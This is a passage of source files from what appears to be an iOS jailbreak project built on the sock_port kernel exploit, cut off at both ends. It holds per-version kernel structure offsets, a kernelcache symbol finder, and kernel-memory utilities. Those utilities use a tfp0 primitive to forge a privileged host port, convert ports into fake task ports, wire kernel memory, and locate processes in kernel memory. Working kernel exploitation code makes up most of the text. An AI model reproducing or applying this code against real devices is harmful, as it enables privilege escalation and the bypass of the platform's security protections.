cs_blob::csb_cd unsigned off_si_flags = 0x10; unsigned off_t_flags = 0x3a0; // task::t_flags unsigned off_v_mount = 0xd8; // vnode::v_mount unsigned off_v_specinfo = 0x78; // vnode::v_specinfo unsigned off_specflags = 0x10; unsigned off_mnt_flag = 0x70; // mount::mnt_flag unsigned off_mnt_data = 0x8f8; // mount::mnt_data unsigned off_getExternelTrapForIndex = 0xb7; // IOUserClient::getExternalTrapForIndex ================================================ FILE: Exploits/sock_port/offsetof.h ================================================ extern unsigned off_p_pid; extern unsigned off_task; extern unsigned off_p_uid; extern unsigned off_p_gid; extern unsigned off_p_ruid; extern unsigned off_p_rgid; extern unsigned off_p_ucred; extern unsigned off_p_fd; extern unsigned off_p_csflags; extern unsigned off_p_comm; extern unsigned off_itk_self; extern unsigned off_itk_sself; extern unsigned off_itk_bootstrap; extern unsigned off_itk_space; extern unsigned off_ip_mscount; extern unsigned off_ip_srights; extern unsigned off_ip_kobject; extern unsigned off_p_textvp; extern unsigned off_p_textoff; extern unsigned off_p_cputype; extern unsigned off_p_cpu_subtype; extern unsigned off_special; extern unsigned off_ipc_space_is_table; extern unsigned off_si_flags; extern unsigned off_ucred_cr_uid; extern unsigned off_ucred_cr_ruid; extern unsigned off_ucred_cr_gid; extern unsigned off_ucred_cr_rgid; extern unsigned off_ucred_cr_svgid; extern unsigned off_ucred_cr_groups; extern unsigned off_ucred_cr_ngroups; extern unsigned off_ucred_cr_svuid; extern unsigned off_ucred_cr_label; extern unsigned off_amfi_slot; extern unsigned off_sandbox_slot; extern unsigned off_v_type; extern unsigned off_v_id; extern unsigned off_v_ubcinfo; extern unsigned off_v_flags; extern unsigned off_ubcinfo_csblobs; extern unsigned off_csb_cputype; extern unsigned off_csb_flags; extern unsigned off_csb_base_offset; extern unsigned off_csb_entitlements_offset; extern unsigned off_csb_signer_type; extern unsigned off_csb_platform_binary; extern unsigned off_csb_platform_path; extern unsigned off_csb_cd; extern unsigned off_t_flags; extern unsigned off_v_mount; extern unsigned off_v_specinfo; extern unsigned off_specflags; extern unsigned off_mnt_flag; extern unsigned off_mnt_data; extern unsigned off_getExternelTrapForIndex; #define CS_VALID 0x0000001 /* dynamically valid */ #define CS_ADHOC 0x0000002 /* ad hoc signed */ #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ #define CS_INSTALLER 0x0000008 /* has installer entitlement */ #define CS_HARD 0x0000100 /* don't load invalid pages */ #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ #define CS_REQUIRE_LV 0x0002000 /* require library validation */ #define CS_ENTITLEMENTS_VALIDATED 0x0004000 #define CS_ALLOWED_MACHO 0x00ffffe #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ ================================================ FILE: Exploits/sock_port/offsets.h ================================================ #ifndef offsets_h #define offsets_h enum kstruct_offset { /* struct task */ KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, KSTRUCT_OFFSET_TASK_REF_COUNT, KSTRUCT_OFFSET_TASK_ACTIVE, KSTRUCT_OFFSET_TASK_VM_MAP, KSTRUCT_OFFSET_TASK_NEXT, KSTRUCT_OFFSET_TASK_PREV, KSTRUCT_OFFSET_TASK_ITK_SELF, KSTRUCT_OFFSET_TASK_ITK_SPACE, KSTRUCT_OFFSET_TASK_BSD_INFO, /* struct ipc_port */ KSTRUCT_OFFSET_IPC_PORT_IO_BITS, KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, /* struct proc */ KSTRUCT_OFFSET_PROC_PID, KSTRUCT_OFFSET_PROC_P_FD, /* struct filedesc */ KSTRUCT_OFFSET_FILEDESC_FD_OFILES, /* struct fileproc */ KSTRUCT_OFFSET_FILEPROC_F_FGLOB, /* struct fileglob */ KSTRUCT_OFFSET_FILEGLOB_FG_DATA, /* struct socket */ KSTRUCT_OFFSET_SOCKET_SO_PCB, /* struct pipe */ KSTRUCT_OFFSET_PIPE_BUFFER, /* struct ipc_space */ KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE, KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, KFREE_ADDR_OFFSET, }; int koffset(enum kstruct_offset offset); void offsets_init(void); extern uint32_t create_outsize; #endif ================================================ FILE: Exploits/sock_port/offsets.m ================================================ #import #import #import #import #import #import #import #import "offsets.h" #define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) #define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) #define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) #define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) #define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) int* offsets = NULL; // proc_t int kstruct_offsets_10_x[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x360, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x10, // KSTRUCT_OFFSET_PROC_PID, 0x108, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x6c, // KFREE_ADDR_OFFSET }; int kstruct_offsets_11_0[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x10, // KSTRUCT_OFFSET_PROC_PID, 0x108, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x6c, // KFREE_ADDR_OFFSET }; int kstruct_offsets_11_3[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x10, // KSTRUCT_OFFSET_PROC_PID, 0x108, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x7c, // KFREE_ADDR_OFFSET }; int kstruct_offsets_12_0[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x60, // KSTRUCT_OFFSET_PROC_PID, 0x100, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x7c, // KFREE_ADDR_OFFSET }; int koffset(enum kstruct_offset offset) { if (offsets == NULL) { printf("Need to call offsets_init() prior to querying offsets\n"); return 0; } return offsets[offset]; } uint32_t create_outsize; void offsets_init() { if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"12.0")) { printf("The offsets for iOS 12.0 or above are in use. \n"); offsets = kstruct_offsets_12_0; #if __arm64e__ offsets[8] = 0x368; #endif create_outsize = 0xdd0; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"11.3")) { printf("The offsets for iOS 12.0 or above are in use. \n"); offsets = kstruct_offsets_11_3; create_outsize = 0xbc8; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"11.1")) { printf("The offsets for iOS 11.3+ or above are in use. \n"); offsets = kstruct_offsets_11_3; create_outsize = 0xbc8; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"11.0")) { printf("The offsets for iOS 11.0 or above are in use. \n"); offsets = kstruct_offsets_11_0; create_outsize = 0x6c8; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"10.0")) { printf("The offsets for iOS 10.0 or above are in use.\n"); offsets = kstruct_offsets_10_x; create_outsize = 0x3c8; } else { printf("The iOS version is too low! At least iOS 10.0 is required! \n"); exit(EXIT_FAILURE); } } ================================================ FILE: Kernel Utilities/kernSymbolication.c ================================================ // // kernelSymbolFinder.c // KernelSymbolFinder // // Created by Jake James on 8/21/18. // Copyright © 2018 Jake James. All rights reserved. // #include "kernSymbolication.h" #include "../Kernel Utilities/lzssdec.hpp" #define SWAP32(p) __builtin_bswap32(p) static FILE *file; uint32_t offset = 0; static void *load_bytes(FILE *obj_file, off_t offset, uint32_t size) { void *buf = calloc(1, size); fseek(obj_file, offset, SEEK_SET); fread(buf, size, 1, obj_file); return buf; } uint64_t find_symbol(const char *symbol, bool verbose) { uint64_t addr = 0; size_t offset = 0; size_t sym_offset = 0; int ncmds = 0; struct load_command *cmd = NULL; uint32_t *magic = load_bytes(file, offset, sizeof(uint32_t)); //at offset 0 we have the magic number if (verbose) printf("SymbolFinder: MAGIC = 0x%x\n", *magic); if (*magic == 0xFEEDFACF) { if (verbose) printf("SymbolFinder: 64bit binary\n"); struct mach_header_64 *mh64 = load_bytes(file, offset, sizeof(struct mach_header_64)); ncmds = mh64->ncmds; free(mh64); offset += sizeof(struct mach_header_64); if (verbose) printf("SymbolFinder: %d LOAD COMMANDS\n", ncmds); for (int i = 0; i < ncmds; i++) { cmd = load_bytes(file, offset, sizeof(struct load_command)); if (verbose) printf("SymbolFinder: LOAD COMMAND %d = 0x%x\n", i, cmd->cmd); if (cmd->cmd == LC_SYMTAB) { if (verbose) printf("SymbolFinder: Found LC_SYMTAB command!\n"); struct symtab_command *symtab = load_bytes(file, offset, cmd->cmdsize); if (verbose) printf("\t %d symbols\n", symtab->nsyms); if (verbose) printf("\t Symbol table at 0x%x\n", symtab->symoff); for (int i = 0; i < symtab->nsyms; i++) { struct symbol *sym = load_bytes(file, symtab->symoff + sym_offset, sizeof(struct symbol)); int symlen = 0; int sym_str_addr = sym->table_index + symtab->stroff; uint8_t *byte = load_bytes(file, sym_str_addr+symlen, 1); while (*byte != 0) { free(byte); symlen++; byte = load_bytes(file, sym_str_addr+symlen, 1); } free(byte); char *sym_name = load_bytes(file, sym_str_addr, symlen + 1); if (verbose) printf("\t%s: 0x%llx\n", sym_name, sym->address); if (!strcmp(sym_name, symbol)) { addr = sym->address; if (!verbose) return addr; } free(sym_name); sym_offset += sizeof(struct symbol); free(sym); } free(symtab); free(cmd); break; } offset += cmd->cmdsize; free(cmd); } } else if (*magic == 0xFEEDFACE){ if (verbose) printf("SymbolFinder: Got 32bit binary\n"); struct mach_header *mh = load_bytes(file, offset, sizeof(struct mach_header)); ncmds = mh->ncmds; free(mh); offset += sizeof(struct mach_header); if (verbose) printf("SymbolFinder: %d LOAD COMMANDS\n", ncmds); for (int i = 0; i < ncmds; i++) { cmd = load_bytes(file, offset, sizeof(struct load_command)); if (verbose) printf("SymbolFinder: LOAD COMMAND %d = 0x%x\n", i, cmd->cmd); offset += cmd->cmdsize; if (cmd->cmd == LC_SYMTAB) { if (verbose) printf("SymbolFinder: Found LC_SYMTAB command!\n"); struct symtab_command *symtab = load_bytes(file, offset, cmd->cmdsize); if (verbose) printf("\t %d symbols\n", symtab->nsyms); if (verbose) printf("\t Symbol table at 0x%x\n", symtab->symoff); for (int i = 0; i < symtab->nsyms; i++) { struct symbol *sym = load_bytes(file, symtab->symoff + sym_offset, sizeof(struct symbol)); int symlen = 0; int sym_str_addr = sym->table_index + symtab->stroff; uint8_t *byte = load_bytes(file, sym_str_addr+symlen, 1); while (*byte != 0) { free(byte); symlen++; byte = load_bytes(file, sym_str_addr+symlen, 1); } free(byte); char *sym_name = load_bytes(file, sym_str_addr, symlen + 1); if (verbose) printf("\t%s: 0x%llx\n", sym_name, sym->address); if (!strcmp(sym_name, symbol)) { addr = sym->address; if (!verbose) return addr; } free(sym_name); sym_offset += sizeof(struct symbol); free(sym); } free(symtab); free(cmd); break; } offset += cmd->cmdsize; free(cmd); } } else { if (verbose) printf("[!] Unrecognized file\n"); return -1; } return addr; } uint32_t find_macho_header() { uint32_t off = 0; uint32_t *magic = load_bytes(file, off, sizeof(uint32_t)); while ((*magic & ~1) != 0xFEEDFACE) { off++; magic = load_bytes(file, off, sizeof(uint32_t)); } return off - 1; } int decompressKernelCache(const char *kernelcache) { file = fopen(kernelcache, "rb"); offset = find_macho_header(); if (!offset) { printf("SymbolFinder: offset = 0; This is not a Mach-O Binary!\n"); return -1; } printf("SymbolFinder: Mach-o header at 0x%X\n", offset); char strOff[128]; sprintf(strOff, "0x%X", offset); char *args[5] = { strdup("lzssdec"), strdup("-o"), strdup(strOff), strdup(kernelcache), strcat(strdup(kernelcache), ".dec")}; if (lzssdec(5, (char **)args)) { printf("SymbolFinder: Failed to decompress the Kernel!\n"); return -1; } else printf("SymbolFinder: Successfully decompressed the KernelCache!\n"); fclose(file); file = fopen(strcat(strdup(kernelcache), ".dec"), "rb"); return 0; } ================================================ FILE: Kernel Utilities/kernSymbolication.h ================================================ // // kernSymbolication.h // Blizzard Jailbreak // // Created by GeoSn0w on 8/11/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #ifndef kernSymbolication_h #define kernSymbolication_h #import #import #import #import #import #import #import // dunno if the built-in headers have something like this but I couldn't find any so DIY :) struct symbol { uint32_t table_index; uint8_t type; uint8_t section_index; uint16_t description; uint64_t address; }; uint32_t find_macho_header(void); uint64_t find_symbol(const char *symbol, bool verbose); int decompressKernelCache(const char *kernelcache); #endif /* kernSymbolication_h */ ================================================ FILE: Kernel Utilities/kernel_utils.h ================================================ #ifndef kernUtils_h #define kernUtils_h #import #import #import #import #import #import #import #import #include // Needed definitions kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); kern_return_t mach_vm_protect (vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection); kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); kern_return_t mach_vm_region(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); bool PatchHostPriv(mach_port_t host); // init function void init_kernel_utils(mach_port_t tfp0); // utils uint64_t TaskSelfAddr(void); uint64_t IPCSpaceKernel(void); uint64_t FindPortAddress(mach_port_name_t port); mach_port_t FakeHostPriv(void); void convertPortToTaskPort(mach_port_t port, uint64_t space, uint64_t task_kaddr); void MakePortFakeTaskPort(mach_port_t port, uint64_t task_kaddr); int Kernel_strcmp(uint64_t kstr, const char* str); // for messing with processes uint64_t proc_of_pid(pid_t pid); uint64_t proc_of_procName(char *nm); unsigned int pid_of_procName(char *nm); uint64_t taskStruct_of_pid(pid_t pid); uint64_t taskStruct_of_procName(char *nm); uint64_t taskPortKaddr_of_pid(pid_t pid); uint64_t taskPortKaddr_of_procName(char *nm); mach_port_t task_for_pid_in_kernel(pid_t pid); // used to fix what kexecute returns typedef struct { uint64_t prev; uint64_t next; uint64_t start; uint64_t end; } kmap_hdr_t; uint64_t ZmFixAddr(uint64_t addr); uint64_t grabKernelBase(void); #endif ================================================ FILE: Kernel Utilities/kernel_utils.m ================================================ #import "kernel_utils.h" #import "../PatchFinder/patchfinder64.h" #import "../Exploits/sock_port/offsetof.h" #import "../Exploits/sock_port/offsets.h" #import "kexecute.h" #include "../Exploits/sock_port/kernel_memory.h" #include #include #import static mach_port_t tfpzero; void init_kernel_utils(mach_port_t tfp0) { tfpzero = tfp0; } int Kernel_strcmp(uint64_t kstr, const char* str) { // XXX be safer, dont just assume you wont cause any // page faults by this size_t len = strlen(str) + 1; char *local = malloc(len + 1); local[len] = '\0'; int ret = 1; if (kread(kstr, local, len) == len) { ret = strcmp(local, str); } free(local); return ret; } uint64_t TaskSelfAddr() { uint64_t selfproc = proc_of_pid(getpid()); if (selfproc == 0) { fprintf(stderr, "Kernel Utils: failed to find our task addr\n"); return -1; } uint64_t addr = rk64(selfproc + off_task); uint64_t task_addr = addr; uint64_t itk_space = rk64(task_addr + off_itk_space); uint64_t is_table = rk64(itk_space + off_ipc_space_is_table); uint32_t port_index = mach_task_self() >> 8; const int sizeof_ipc_entry_t = 0x18; uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); return port_addr; } uint64_t IPCSpaceKernel() { return rk64(TaskSelfAddr() + 0x60); } uint64_t FindPortAddress(mach_port_name_t port) { uint64_t task_port_addr = TaskSelfAddr(); //uint64_t task_addr = TaskSelfAddr(); uint64_t task_addr = rk64(task_port_addr + off_ip_kobject); uint64_t itk_space = rk64(task_addr + off_itk_space); uint64_t is_table = rk64(itk_space + off_ipc_space_is_table); uint32_t port_index = port >> 8; const int sizeof_ipc_entry_t = 0x18; uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); return port_addr; } mach_port_t FakeHostPriv_port = MACH_PORT_NULL; bool PatchHostPriv(mach_port_t host) { #define IO_ACTIVE 0x80000000 #define IKOT_HOST_PRIV 4 // locate port in kernel uint64_t host_kaddr = FindPortAddress(host); // change port host type uint32_t old = rk32(host_kaddr + 0x0); printf("Kernel Utils: Old host type: 0x%x\n", old); wk32(host_kaddr + 0x0, IO_ACTIVE | IKOT_HOST_PRIV); uint32_t new = rk32(host_kaddr); printf("Kernel Utils: New host type: 0x%x\n", new); return ((IO_ACTIVE | IKOT_HOST_PRIV) == new) ? true : false; } // build a fake host priv port mach_port_t FakeHostPriv() { if (FakeHostPriv_port != MACH_PORT_NULL) { return FakeHostPriv_port; } // get the address of realhost: uint64_t hostport_addr = FindPortAddress(mach_host_self()); uint64_t realhost = rk64(hostport_addr + off_ip_kobject); // allocate a port mach_port_t port = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (err != KERN_SUCCESS) { printf("Kernel Utils: failed to allocate port\n"); return MACH_PORT_NULL; } // get a send right mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); // make sure port type has IKOT_HOST_PRIV PatchHostPriv(port); // locate the port uint64_t port_addr = FindPortAddress(port); // change the space of the port wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), IPCSpaceKernel()); // set the kobject wk64(port_addr + off_ip_kobject, realhost); FakeHostPriv_port = port; return port; } uint64_t Kernel_alloc_wired(uint64_t size) { if (tfpzero == MACH_PORT_NULL) { printf("Kernel Utils: Attempt to allocate kernel memory before any kernel memory write primitives available\n"); sleep(3); return 0; } kern_return_t err; mach_vm_address_t addr = 0; mach_vm_size_t ksize = round_page_kernel(size); printf("Kernel Utils: vm_kernel_page_size: %lx\n", vm_kernel_page_size); err = mach_vm_allocate(tfpzero, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("Kernel Utils: unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); sleep(3); return 0; } printf("Kernel Utils: allocated address: %llx\n", addr); addr += 0x3fff; addr &= ~0x3fffull; printf("Kernel Utils: address to wire: %llx\n", addr); err = mach_vm_wire(FakeHostPriv(), tfpzero, addr, ksize, VM_PROT_READ|VM_PROT_WRITE); if (err != KERN_SUCCESS) { printf("Kernel Utils: unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err); sleep(3); return 0; } return addr; } const uint64_t kernel_address_space_base = 0xffff000000000000; void Kernel_memcpy(uint64_t dest, uint64_t src, uint32_t length) { if (dest >= kernel_address_space_base) { // copy to kernel: kwrite(dest, (void*) src, length); } else { // copy from kernel kread(src, (void*)dest, length); } } void convertPortToTaskPort(mach_port_t port, uint64_t space, uint64_t task_kaddr) { // now make the changes to the port object to make it a task port: uint64_t port_kaddr = FindPortAddress(port); wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), 0x80000000 | 2); wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d); wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d); wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space); wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), task_kaddr); // swap our receive right for a send right: uint64_t task_port_addr = TaskSelfAddr(); uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); uint32_t port_index = port >> 8; const int sizeof_ipc_entry_t = 0x18; uint32_t bits = rk32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry #define IE_BITS_SEND (1<<16) #define IE_BITS_RECEIVE (1<<17) bits &= (~IE_BITS_RECEIVE); bits |= IE_BITS_SEND; wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits); } void MakePortFakeTaskPort(mach_port_t port, uint64_t task_kaddr) { convertPortToTaskPort(port, IPCSpaceKernel(), task_kaddr); } uint64_t proc_of_pid(pid_t proc_pid) { uint64_t proc = rk64(Find_allproc()); while (proc) { uint32_t pid = (uint32_t)rk32(proc + off_p_pid); if (pid == proc_pid){ return proc; } proc = rk64(proc); } return 0; } uint64_t proc_of_procName(char *nm) { uint64_t proc = rk64(Find_allproc()); char name[40] = {0}; while (proc) { kread(proc + off_p_comm, name, 40); //read 20 bytes off the process's name and compare if (strstr(name, nm)) return proc; proc = rk64(proc); } return 0; } unsigned int pid_of_procName(char *nm) { uint64_t proc = rk64(Find_allproc()); char name[40] = {0}; while (proc) { kread(proc + off_p_comm, name, 40); if (strstr(name, nm)) 